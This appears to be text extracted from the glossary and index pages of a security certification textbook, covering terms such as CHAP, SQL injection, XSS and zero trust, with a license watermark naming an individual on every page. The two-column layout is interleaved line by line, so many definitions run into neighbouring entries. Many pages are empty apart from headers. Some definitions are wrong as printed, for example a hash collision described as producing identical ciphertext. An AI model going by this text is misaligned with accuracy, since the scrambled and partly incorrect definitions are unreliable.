protocol) An encryption protocol used public, private, community, or hybrid.
for wireless LANs that addresses the
Cloud Security Alliance Industry
vulnerabilities of the WEP protocol.
body providing security guidance to
CE (cryptographic erase) A method CSPs, including enterprise reference
of sanitizing a self-encrypting drive by architecture and security controls matrix.
erasing the media encryption key.
cloud service model Classifying the
chain of custody The record of evidence provision of cloud services and the limit of
history from collection, to presentation in the cloud service provider's responsibility
court, to disposal. as software, platform, infrastructure,
and so on. clustering A load balancing
change control The process by which
technique where a group of servers are
the need for change is recorded and
configured as a unit and work together to
approved.
provide network services.
change management The process
CN (common name) An X500 attribute
through which changes to the
expressing a host or user name, also
configuration of information systems are
used as the subject identifier for a digital
implemented, as part of the organization's
certificate.
overall configuration management efforts.
COBO (corporate owned, business only)
CHAP (Challenge Handshake
Enterprise mobile device provisioning
Authentication Protocol) Authentication
model where the device is the property
scheme developed for dial-up networks
of the organization and personal use is
that uses an encrypted three-way
prohibited.
handshake to authenticate the client
to the server. The challenge-response code of conduct Professional behavior
is repeated throughout the connection depends on basic ethical standards,
(though transparently to the user) to such as honesty and fairness. Some
guard against replay attacks. professions may have developed codes of
ethics to cover difficult situations; some
checksum The output of a hash function.
businesses may also have a code of ethics
chmod Linux command for managing file
to communicate the values it expects its
permissions.
employees to practice. Also known as
CIA triad (confidentiality, integrity, ethics.
and availability) The three principles of
code reuse Potentially unsecure
security control and management. Also
programming practice of using code
known as the information security triad.
originally written for a different context.
or AIC triad.
code signing The method of using a
circuit-level stateful inspection firewall
digital signature to ensure the source and
A Layer 5 firewall technology that tracks
integrity of programming code.
the active state of a connection, and can
make decisions based on the contents of cold site A predetermined alternate
network traffic as it relates to the state of location where a network can be rebuilt
the connection. after a disaster.
CIS (Center for Internet Security) A not- collector A network appliance that
for-profit organization (founded partly by gathers or receives log and/or state data
SANS). It publishes the well-known "Top from other network systems.
20 Critical Security Controls" (or system
collision In cryptography, the act of two
design recommendations).
different plaintext inputs producing the
clean desk policy An organizational same exact ciphertext output.
policy that mandates employee work
community cloud A cloud that is
areas be free from potentially sensitive
deployed for shared use by cooperating
information; sensitive documents must
tenants.
not be left out where unauthorized
personnel might see them.
Glossary
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Glossary | G-5
Glossary
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
G-6 | Glossary
Glossary
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Glossary | G-7
Glossary
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
G-8 | Glossary
Glossary
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Glossary | G-9
Glossary
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
G-10 | Glossary
Glossary
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Glossary | G-11
Glossary
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
G-12 | Glossary
Glossary
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Glossary | G-13
Glossary
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
G-14 | Glossary
Glossary
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Glossary | G-15
Glossary
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
G-16 | Glossary
Glossary
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Glossary | G-17
Glossary
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
G-18 | Glossary
Glossary
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Glossary | G-19
Glossary
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
G-20 | Glossary
Glossary
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Glossary | G-21
Glossary
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
G-22 | Glossary
SFTP (Secure File Transfer Protocol) SIP (Session Initiation Protocol) Used
A secure version of the File Transfer to establish, disestablish, and manage
Protocol that uses a Secure Shell (SSH) VoIP and conferencing communications
tunnel as an encryption method to sessions. It handles user discovery
transfer, access, and manage files. (locating a user on the network),
availability advertising (whether a user
SHA (Secure Hash Algorithm) A
is prepared to receive calls), negotiating
cryptographic hashing algorithm created
session parameters (such as use of audio/
to address possible weaknesses in MDA.
video), and session management and
The current version is SHA-2.
termination.
shadow IT Computer hardware, software,
SLA (service level agreement) Operating
or services used on a private network
procedures and standards for a service
without authorization from the system
contract.
owner.
SLE (single loss expectancy) The amount
shared account An account with no
that would be lost in a single occurrence
credential (guest) or one where the
of a particular risk factor.
credential is known to multiple persons.
smart card A device similar to a credit
shellcode Lightweight block of malicious
card that can store authentication
code that exploits a software vulnerability
information, such as a user's private key,
to gain initial access to a victim system.
on an embedded microchip.
shimming The process of developing and
smart meter A utility meter that can
implementing additional code between an
submit readings to the supplier without
application and the operating system to
user intervention.
enable functionality that would otherwise
be unavailable. SMiShing A form of phishing that uses
SMS text messages to trick a victim into
shoulder surfing A social engineering
revealing information.
tactic to obtain someone's password or
PIN by observing him or her as he or she sn1per Software utility designed for
types it in. penetration testing reporting and
evidence gathering that can also run
SID (security identifier) The value
automated test suites.
assigned to an account by Windows and
that is used by the operating system to SNMP (Simple Network Management
identify that account. Protocol) Protocol for monitoring and
managing network devices. SNMP works
SIEM (security information and event
over UDP ports 161 and 162 by default.
management) A solution that provides
real-time or near-real-time analysis of SOA (service-oriented architecture) A
security alerts generated by network software architecture where components
hardware and applications. of the solution are conceived as loosely
coupled services not dependent on a
signature-based detection A network
single platform type or technology.
monitoring system that uses a predefined
set of rules provided by a software vendor SOAP (Simple Object Access Protocol)
or security personnel to identify events An XML-based web services protocol that
that are unacceptable. is used to exchange messages.
SIM (subscriber identity module) A SOAR (security orchestration,
small chip card that identifies the user automation, and response) A class of
and phone number of a mobile device, security tools that facilitates incident
via an International Mobile Subscriber response, threat hunting, and security
Identity (ISMI). configuration by orchestrating automated
runbooks and delivering data enrichment.
sinkhole A DoS attack mitigation strategy
that directs the traffic that is flooding a SoC (system-on-chip) A processor that
target IP address to a different network integrates the platform functionality of
for analysis. multiple logical controllers onto a single
chip.
Glossary
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Glossary | G-23
spear phishing An email-based or web- state actor A type of threat actor that
based form of phishing which targets is supported by the resources of its host
specific individuals. country's military and security services.
Also known as nation state actor.
SPIM (spam over internet messaging)
A spam attack that is propagated through state table Information about sessions
instant messaging rather than email. between hosts that is gathered by a
stateful firewall.
split tunnel VPN configuration where
only traffic for the private network is stateful inspection A technique used
routed via the VPN gateway. in firewalls to analyze packets down to
the application layer rather than filtering
SPoF (single point of failure) A
packets only by header information,
component or system that would cause
enabling the firewall to enforce tighter
a complete interruption of a service if it
and more security.
failed.
steganography A technique for obscuring
SQL injection (Structured Query
the presence of a message, often by
Language injection) An attack that
embedding information within a file or
injects a database query into the input
other entity.
data directed at a server by accessing the
client side of the application. STIX (Structured Threat Information
eXpression) A framework for analyzing
SSAE SOC (Statements on Standards
cybersecurity incidents.
for Attestation Engagements
Service Organization Control) Audit stored procedure One of a set of pre-
specifications designed to ensure that compiled database statements that can
cloud/hosting providers meet professional be used to validate input to a database.
standards. A SOC2 Type II report is
STP (Spanning Tree Protocol) A switching
created for a restricted audience, while
protocol that prevents network loops by
SOC3 reports are provided for general
dynamically disabling links as needed.
consumption.
stream cipher A type of symmetric
SSH (Secure Shell) A remote
encryption that combines a stream
administration and file-copy program that
of plaintext bits or bytes with a
supports VPNs by using port forwarding,
pseudorandom stream initialized by a
and that runs on TCP port 22.
secret key.
SSID (service set identifier) A character
stress test A software testing method
string that identifies a particular wireless
that evaluates how software performs
LAN (WLAN).
under extreme load.
SSO (single sign-on) An authentication
supplicant In EAP architecture, the device
technology that enables a user
requesting access to the network.
to authenticate once and receive
authorizations for multiple services. SWG (secure web gateway) An appliance
or proxy server that mediates client
SSTP (Secure Socket Tunneling
connections with the Internet by filtering
Protocol) A protocol that uses the HTTP
spam and malware and enforcing access
over SSL protocol and encapsulates an IP
restrictions on types of sites visited, time
packet with a PPP header and then with
spent, and bandwidth consumed.
an SSTP header.
symmetric encryption A two-way
standard naming convention Applying
encryption scheme in which encryption
consistent names and labels to assets
and decryption are both performed by
and digital resources/identities within a
the same key. Also known as shared-key
configuration management system.
encryption.
stapling Mechanism used to mitigate
syslog A protocol enabling different
performance and privacy issues when
appliances and software applications to
requesting certificate status from an OCSP
transmit logs or event records to a central
responder.
server.
Glossary
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
G-24 | Glossary
Glossary
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Glossary | G-25
Glossary
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
G-26 | Glossary
war driving The practice of using a Wi-Fi XML injection Attack method where
sniffer to detect WLANs and then either malicious XML is passed as input to
making use of them (if they are open/ exploit a vulnerability in the target app.
unsecured) or trying to break into them
XOR (exclusive OR) An operation that
(using WEP and WPA cracking tools).
outputs to true only if one input is true
warm site A location that is dormant and the other input is false.
or performs noncritical functions under
XSRF (cross-site request forgery) A
normal conditions, but which can be
malicious script hosted on the attacker's
rapidly converted to a key operations site
site that can exploit a session started on
if needed.
another site in the same browser. Also
watering hole attack An attack in which known as client-side request forgery or
an attacker targets specific groups or CSRF.
organizations, discovers which websites
XSS (cross-site scripting) A malicious
they frequent, and injects malicious code
script hosted on the attacker's site or
into those sites.
coded in a link injected onto a trusted
WEP (Wired Equivalent Privacy) A legacy site designed to compromise clients
mechanism for encrypting data sent over browsing the trusted site, circumventing
a wireless connection. the browser's security model of trusted
zones.
whaling An email-based or web-based
form of phishing which targets senior zero trust Security design paradigm
executives or wealthy individuals. where any request (host-to-host
or container-to-container) must be
white team Staff administering,
authenticated before being allowed.
evaluating, and supervising a penetration
test or incident response exercise. zero-day A vulnerability in software that is
unpatched by the developer or an attack
WinHex Forensics tool for Windows that
that exploits such a vulnerability.
allows collection and inspection of binary
code in disk and memory images. zero-fill A method of sanitizing a drive by
setting all bits to zero.
worm A type of malware that replicates
in system memory and can spread over ZigBee Low-power wireless
network connections rather than infecting communications open source protocol
files. used primarily for home automation.
ZigBee uses radio frequencies in the 2.4
WPA (Wi-Fi Protected Access) Standards
GHz band and a mesh topology.
for authenticating and encrypting access
to Wi-Fi networks. Also known as WPA2, Z-Wave Low-power wireless
WPA3. communications protocol used primarily
for home automation. Z-Wave uses radio
WPS (Wi-Fi Protected Setup) A feature
frequencies in the high 800 to low 900
of WPA and WPA2 that allows enrollment
MHz and a mesh topology.
in a wireless network based on an 8-digit
PIN.
XaaS (anything as a service) Expressing
the concept that most types of IT
requirements can be deployed as a cloud
service model.
Glossary
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Index
Page numbers with Italics represent charts, graphs, and diagrams.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
I-2 | Index
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Index | I-3
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
I-4 | Index
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Index | I-5
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
I-6 | Index
carving, files, 495 digital certificates, 106, 126 Choose Your Own Device
CASB (cloud access security GlobalSign, 127 (CYOD), 344
broker), 272 GoDaddy, 127 chosen ciphertext attack, 109
cat command, 278 hierarchical (Intermediate Chuvakin, Anton, “Magic
CBC. see cipher block chaining CA), 127‑128 Quadrant” reports, 328
(CBC) mode IdentTrust, 127 CIA Triad. see confidentiality,
CBC (cipher block chaining) online vs offline CAs, 128 integrity, availability (CIA) triad
mode, 108 registration authorities (RAs), cipher, 96
CBT (computer-based 128‑129 cipher block chaining (CBC)
training), 211 Sectigo/Comodo, 127 mode, 108
CCI (co-channel interference), 236 single CA, 127 Cipher Block Chaining Message
CCMP. see cipher block chaining Transport Layer Security Authentication Code Protocol
(CBC) mode (TLS), 292 (CCMP), 237
CCMP (Cipher Block Chaining trust model, 127 cipher suites
Message Authentication Code certificate-based tunneling, 240 cipher block chaining (CBC)
Protocol), 237 certificate chaining, 127‑128 mode, 108
cellular data connections, certificate formats counter mode, 108
356‑357 encoding key exchange/agreement
cellular network, embedded Distinguished Encoding algorithm, 108
systems, 333 Rules (DER), 140 signature algorithm, 108
Center for Internet Security (CIS) Privacy-enhanced Transport Layer Security
benchmarks, 12‑13 Electronic Mail (PEM), 140 (TLS), 108, 293
centralized key management, file extensions, 141 ciphertext, 96
137 P7B format, 141 circuit-based alarm, 544
CER (Crossover Error Rate), PKCS #12 format, 141 CIS benchmarks, 12‑13
172‑173 certificate policies, 132 Cisco
CERT. see computer emergency certificates, update or revoke, 478 Aironet series, 245
response team (CERT) certificates and smart cards, 180 appliance firewall, 260
certificate and key management certificate signing request (CSR), ASA, 266
certificate expiration, 138 128‑129, 142 Cloudlock, 426
certificate formats chain of custody, 485 digital forensics, 487
Distinguished Encoding chain of trust, 127 fog computing, 433
Rules (DER), 140 Challenge Handshake IP Flow Information Export
file extensions, 141 Authentication Protocol (CHAP), (IPFIX), 473
P7B format, 141 158, 304 logs, 168
PKCS #12 format, 141 change control, 530, 532 SAFE architecture, 216
Privacy-enhanced change management, 530, 532 CISO, 4
Electronic Mail (PEM), 140 CHAP (Challenge Handshake CIS-RAM. see Risk Assessment
issues with, 143 Authentication Protocol), 158, 304 Method (CIS-RAM)
life cycle of, 137. see also key checksum Citrix
management digital signatures, 104‑105 ICA, 413
Online Certificate Status hashing algorithms, 97 XenApp, 413‑414
Protocol (OCSP), 139‑140 integrity and resiliency of XEN Server, 412
OpenSSL, 142 data, 113 Citrix Endpoint Management, 345
pinning, 140 Chef cloud orchestration clean agent fire suppression, 552
revocation lists, 138‑139 platform, 430 clean desk policy, 209
certificate attributes, 130 Chief Information Security cleanup, pen test attack life
certificate authority (CA) Officer (CISO), roles and cycle, 70
certificate signing request responsibilities, 4 clickjacking, 376
(CSR), 128‑129 Chief Security Officer (CSO), 4 Client Authentication, 132
defined, 126‑127 Chinese cyber espionage units, 20 client-based errors (400
Digicert, 127 choke firewall, 222 range), 470
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Index | I-7
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
I-8 | Index
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Index | I-9
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
I-10 | Index
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Index | I-11
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
I-12 | Index
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Index | I-13
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
I-14 | Index
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Index | I-15
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
I-16 | Index
hardware root of trust (RoT), host-based intrusion detection/ guidelines for implementing,
318‑319 prevention (HIDS)(HIPS), 327 341
hardware security module hosted private cloud, 408 secure filmware,
(HSM), 165, 422 host/environment security implementing
Hashcat, 161 data sanitization tools, boot integrity, 319‑320
hashing 553‑554 disk encryption, 320‑321
database deidentification Faraday Cages, 550 end of life (EOL), 322‑323
methods, 452 fire detection and end of service life (EOSL),
digital signatures, 104‑105 suppression, 551‑552 322‑323
hashing algorithms, 97‑98 hot/cold aisles, 551 hardware root of trust
hashing algorithms HVAC, 550 (RoT), 318‑319
checksum, 97, 104‑105 protected distribution, 550 organizational security
cryptographic ciphers, 97‑98 secure areas, 548‑549 agreements, 323
digital signatures, 104‑105 secure data destruction, third-party risk
hashing, 97‑98, 104‑105 552‑553 management, 322
message digest algorithm host hardware, 411 USB and flash drive
(MDA), 97‑98 host-related intrusion detection security, 321‑322
secure hash algorithm (SHA), systems (HIDS), 272 HOSTS files, 286
97‑98 host security solutions hot aisle/cold aisle
head commands, 278 embedded system security arrangement, 551
health information, 441‑442 implications HOTP (HMAC-based One-Time
Health Insurance Portability and communication Password Algorithm), 168‑169
Accountability Act (HIPPA), 14, considerations, 333‑334 hot plug PSU, 517
444, 504 constraints of, 331‑332 hot site, 532‑533
heating, ventilation, air facility automation, hotspots, 357‑358
conditioning (HVAC), 550 336‑337 hot storage, 422
heat map risk matrix, 503, 506 filmware code control, 339 HR policies. see human
heat maps, 236 industrial control resources (HR) policies
HSM (hardware security
heuristics, 271 systems, 334‑335
module), 165
hibernation file, 492‑493 Internet of Things (IoT),
HTML5 VPN, 310
HIDS (host-related intrusion 335‑336
HTTP access logs, 470
detection systems), 272 logic controllers, 332
HTTP methods, 372‑373
hierarchical (Intermediate CA), medical devices, 338
HttpOnly attributes, 384
127‑128 multifunction printers
HTTPS (hypertext transfer
high availability (HA), 422‑423, (MFPs), 337
protocol secure), 292
516‑517 network segmentation,
HTTP Strict Transport Security
HMAC-based One-Time 338
(HSTS), 385
Password Algorithm (HOTP), vehicles and drones, 338
human-machine interfaces
168‑169 Voice over IP (VoIP), 337 (HMIs), 334
hoaxes, 78‑79 wrappers, 339 human resources (HR) policies
home automation devices, 336 endpoint security account policies
Homeland Security Act, 504 antivirus response, 329 access policies, 191‑192
homomorphic encryption, 121 baseline configuration account attributes, 191
honeyfiles, honey nets, honey and registry setting, 326 account audits, 194
ports, 534‑535 endpoint protection, account lockout and
horizontal (consumer-specific, 327‑328 disablement, 196‑197
cross-sector) legislation, 13‑14 hardening systems, account password policy
horizontal brute force online 325‑326 settings, 192‑193
attacks, 159 next-generation endpoint account permissions, 195
horizontal privilege escalation, protection, 328‑329 account restrictions,
366 patch management, 193‑194
host-based firewall, 260 326‑327 usage audits, 195‑196
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Index | I-17
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
I-18 | Index
IEEE 802.1x port-based NAC disaster recovery plans, information life cycle
(PNAC), 166 462‑463 management, 438‑439
IKE (Internet Key Exchange), forensic procedures, 463 information security
307‑308, 308 guidelines for, 482 benchmarks, 12‑13
image backups, 525‑526 identification of incidents, Cloud frameworks, 11‑12
IMAP4 (Internet Message Access 465‑466 competencies, 3‑4
Protocol v4), 297 incident response plan (IRP), cybersecurity framework, 3
IMAPS (secure IMAP), 297 458‑459 information security
iMessage, 360 incident response process, business units
impact assessment, 442 456‑457 DevSecOps, 5‑6
impersonation, 75‑76 mitigation controls SOC, 5
Imperva, 273 adversarial artificial ISO, 11
Implicit TLS (FTPS), 296 intelligence, 480 regulations, standards, and
impossible travel time/risky content filter legislation, 13‑14
login policy, 194 configuration changes, roles and responsibilities
improper input handling, 367 477‑478 Chief Information Security
in-band connection, 310 endpoint configuration Officer (CISO), 4
incident containment changes, 478‑479 Information Systems
isolation-based containment, eradication and Security Officer (ISSO), 4
475‑476 recovery, 476 secure configuration guides
segmentation-based firewall configuration application servers, 13
containment, 476 changes, 476‑477 network appliance
incident eradication and incident containment, platform, 12‑13
recovery, 476 475‑476 operating systems (OS),
incident response (IR) security orchestration, 12‑13
business continuity plan automation, and vendor-specific guides,
(BCP), 463 response (SOAR), 479 12‑13
communication plan, 458 MITRE ATT&CK, 460‑461 web server applications, 13
continuity of operation playbook/runbook, 459, 479 security controls
planning (COOP), 463 retention policy, 463 compensating controls, 10
cyber incident response simulations, 462 deterrent controls, 10
team (CIRT), 457‑458 stakeholder management, 458 functional types, 9, 10
cyber kill chain attack tabletop exercises, 461‑462 managerial security
framework, 459‑460 walkthrough exercises, 462 control, 8‑10, 9
data sources incident response plan (IRP), operational security
application log files, 458‑459 control, 8‑10, 9
470‑471 incident response process, physical controls, 9, 10
authentication logs, 470 456‑457 technical security
metadata, 471‑472 incineration data destruction, 552 controls, 8‑10, 9
network data sources, incremental backups, 524‑525 security roles, CIA Triad, 2
472‑473 indicator of compromise (IoC), information security business
network log files, 469 28‑29, 277 units
security and information Indoor Positioning System (IPS), DevSecOps, 5‑6
event management 350‑351 SOC, 5
(SIEM), 466‑469 industrial camouflage, 541 Information Sharing and
system and security industrial control systems (ICSs), Analysis Centers (ISACs), threat
logs, 469 334‑335 intelligence providers, 27
vulnerability scan Infiniband, 520 Information Systems Security
outputs, 470 influence campaigns, 82 Officer (ISSO), roles and
Diamond Model of Intrusion information assurance, security responsibilities, 4
Analysis, 461 controls, 8‑10 Information Technology
Infrastructure (ITIL), 530‑531
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Index | I-19
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
I-20 | Index
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Index | I-21
file system permissions, 200 operational technology (OT) long term retention, 522
head and tail commands, 278 attacks, 248 lookalike domains, 79
ifconfig, 36 persistence, 250 looping statements
iptables, 258‑259 quality of service (QoS), 252 PowerShell, 393
journalctl, 469 scheduling, 250 Python, 391‑392
KALI, 41 site resiliency, 532 scripting, 390
logger command, 278‑279 source IP affinity, 250 loop prevention
memdump, 492 local replication, 422 Bridge Protocol Data Unit
mtr, 37 Local Security Authority (LSA), (BPDU) Guard, 230
Netcat, 46‑47 Windows authentication, 154 broadcast storm prevention,
OpenSSL local service accounts, 185 229
certificate and key location services Spanning Tree Protocol
management, 142 geofencing and camera/ (STP), 228
certificate signing request microphone enforcement, 351 low observable characteristics
(CSR), 142 geolocation, 350‑351 (LOC) attack, fileless malware, 85
root certificates, 141‑142 GPS tagging, 352 LSA (Local Security Authority), 154
ParrotOS, 41 location-based LTE Machine Type
reverse shell, 396 authentication, 152 Communication (LTE-M), 333
root accounts, 184‑185 location-based policies, 193 LulzSec, 20
SEAndroid, 347 Lockheed Martin whitepaper, lunchtime attacks, 77
Secure Erase (SE), 554 Intelligence-Driven Computer
Secure Shell (SSH), 311 Network Defense, 459 M
Security-Enhanced Linux, 347 lockout policy, 349
MAC
Security Module (LSM), 394 log files
address table, 228
service accounts, 186 application log files, 470‑471
cloning, 227
SSH commands, 313 authentication logs, 470
filtering, 230
tcpdump, 42‑43 network log files, 469
flooding, 228‑229
traceroute, 37 system and security logs, 469
limiting, 230
Ubuntu vulnerability scan outputs, 470
network interface hardware
RedHat Linux container, logger command, 278‑279
address, 218‑219
413‑414 logging platforms
MAC (mandatory access
root accounts, 185 journalctl, 469
control), 201
Volatility Framework, 492 NXlog, 469
MAC (message authentication
live acquisition, 492, 493 rsylog, 468
code), 109, 113
live off the land techniques syslog, 468
MacAfee
fileless malware, 85 syslog-ng, 468‑469
data loss prevention (DLP), 450
remote access Trojans (RATs), logic bombs, 89‑90, 416
SkyHigh Networks, 426
86‑87 logic controllers for embedded
machine/computer
load balancers systems, 332
certificates, 134
amplification attack, 247‑248 logic statements, 391‑392, 393
machine learning (ML)
application attacks, 247‑248 logon, 150
techniques, 31
clustering, 250‑251 logs
macros, 396‑397
distributed denial of service aggregation/banding
macro virus, 83
(DDoS), 247, 248‑249 technique, 277
“Magic Quadrant” reports, 328
DNS amplification attack, 248 collection
magnetic hard disk, 553
layer 4 load balancer, 249 agent-based, 276
mailbox access, 296
layer 7 load balancer, 249 listener/collector, 276
mail delivery agent (MDA), 472
network appliances, 217‑218 sensor, 276
Mail Exchanger (MX) record, 296
network redundancy, 518 syslog, 276
mail transfer, 296
Network Time Protocol (NTP), log reviews, 61‑62
mail transfer server, 217
247‑248 monitoring services, 275
mail user agent (MUA), 472
Long Term Evolution (LTE), 333
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
I-22 | Index
malicious code indicators Obad Android Trojan mean time to repair (MTTR), 511
Bourne Again Shell (Bash) malware, 359 mean time to respond
malicious indicators, 396 process analysis, 90‑91 (MTTR), 479
credential dumping, 394 VM escaping, 414‑415 measured boot, 319‑320
lateral movement/insider Malware Information Sharing measurement systems analysis
attack, 394 Project (MISP), 27 (MSA), 323
macros, 396‑397 MAM (mobile device media sanitization, 552‑553
man-in-the-browser (MitB) management), 345 medical devices, 338
attack, 397 Managed Google Play, 352 memdump, 492
persistence malicious managed power distribution memorandum of understanding
code, 395 units (PDUs), 517 (MOU), 323
PowerShell malicious Managed Security Services memory leak, 368‑369
indicators, 395 Provider (MSSP), 411 memory management, 385
Python malicious indicators, management information base memory resident, viruses, 83
396 (MIB), 289 memory resident malware
shellcode, 394 management plane, 432 fileless malware, 84‑85
Visual Basic for Applications managerial security control, 8 worms, 84‑85
(VBA), 396‑397 mandatory access control (MAC) Memoryze, 492
malicious external threats, 19 authorization solutions, 201 Message Analyzer tool, 472
malicious internal threats, 19 execution control, 394 message authentication code
malicious process, memory Security-Enhanced Linux, 347 (MAC), 109, 113
resident virus, 83 mandatory vacation, 183 message digest algorithm
malware Mandiant’s APT1, 20 (MDA), 97‑98
advance tools against, 329 man-in-the-browser (MitB) metadata
guidelines for, 93 attack, 397 email metadata, 471‑472
malware-based attacks man-in-the-middle attack (MitM) file metadata, 471
bluetooth connection application log files, 471 mobile phone, 472
methods, 358 certificate pinning, 140 web metadata, 471
DLL injection, 369 cryptographic attacks, 116‑117 Metasploit, 45‑46, 91
domain generation algorithm DNS poisoning, 286 MFA (multifactor authentication),
(DGA), 91 firmware over the air 151
fast-flux, 91 updates, 361 MIB (management information
indicators of, 90 high latency indicating, 37 base), 289
malware classifications integrity and resiliency of micro segmentation, 225
adware, 85 data, 113 microservices, 429‑430
backdoors, 86‑87 mutual authentication Microsoft
cookies, 85 preventing, 157 Active Directory (AD), 288
crypto-malware, 89 near field communications Always-on VPN, 308‑309
fileless malware, 84‑85 (NFC), 360 App-V, 413‑414
keylogger, 85‑86 unsecure protocols, 52 Azure
logic bombs, 89‑90 mantraps, 543 Functions, 41
payload, 82 marketing team, incident Information Protection,
potentially unwanted response (IR), 458 440, 450
programs (PUPs), 82, 83 maximum tolerable downtime SQL Database, 409
ransomware, 88‑89 (MTD), 508‑509, 516 Virtual Machines, 409
remote access Trojans MDA (message digest Baseline Security Analyzer
(RATs), 86‑87 algorithm), 97‑98 (MBSA), 326
rootkits, 87‑88 MDM. see mobile device Challenge Handshake
spyware, 85 management (MDM) Authentication Protocol
Trojans, 82, 83 mean time between failures (CHAP), 158
viruses, 82, 83, 83 (MTBF), 510 Cloud App Security, 426
worms, 80, 82, 84‑85 mean time to failure (MTTF), 510 DNS services, 287
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Index | I-23
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
I-24 | Index
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Index | I-25
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
I-26 | Index
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Index | I-27
Index
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
I-28 | Index
attack profile physical port security and MAC PKCS (Public Key Cryptography
black box, 68 filtering Standards), 129
gray box, 68 Dynamic Host Configuration PKCS #12 format, 141
white box, 68 Protocol (DHCP) snooping, 230 PKI. see public key infrastructure
bug bounty, 68 MAC filtering, 230 (PKI)
defined, 67 MAC limiting, 230 places in the network (PIN)
exercise types, 68‑69 physical security controls SAFE architecture, 216
passive and active guidelines for, 556 Wi-Fi protected setup
reconnaissance, 69‑70 host/environment security (WPS), 239
rules of engagement, 67‑68 data sanitization tools, plaintext, 96, 159
percent encoding, 373 553‑554 platform as a service (PaaS),
performance limitations, Faraday Cages, 550 409, 410
cryptographic weaknesses, fire detection and playbook, 459, 479
113‑114 suppression, 551‑552 Play Protect, 347
permissions policies, 421 hot/cold aisles, 551 plenum, 551
persistence, pen test attack life HVAC, 550 pluggable authentication
cycle, 70 protected distribution, 550 module (PAM), 155
persistence malicious code, 395 secure areas, 548‑549 plug-ins, 59
persistent (closed) cookies, 374 secure data destruction, PNAC. see port-based NAC
persistent storage acquisition, 493 552‑553 (PNAC)
personal area networks (PANs), site security point-to-multipoint (P2M), 362
357, 358‑359 alarm systems and point-to-point (P2P), 361‑362
personal health information sensors, 543‑544 point-to-point protocol (PPP), 304
(PHI), 441‑442 barricades and entry/exit point-to-point tunneling
personal identification number points, 541 protocol (PPTP), 303
(PIN), 150, 154 cable locks, 543 policy server, 449
personally identifiable fencing, 541 polymorphic viruses, 83
information (PII), 441 gateways and locks, POP3S (Post Office Protocol
personally owned device use, 209 542‑543 v3), 297
person-made disasters, 511 industrial camouflage, 541 POP3S (Secure POP), 297
personnel policies for privilege lighting, 541 port-based NAC (PNAC)
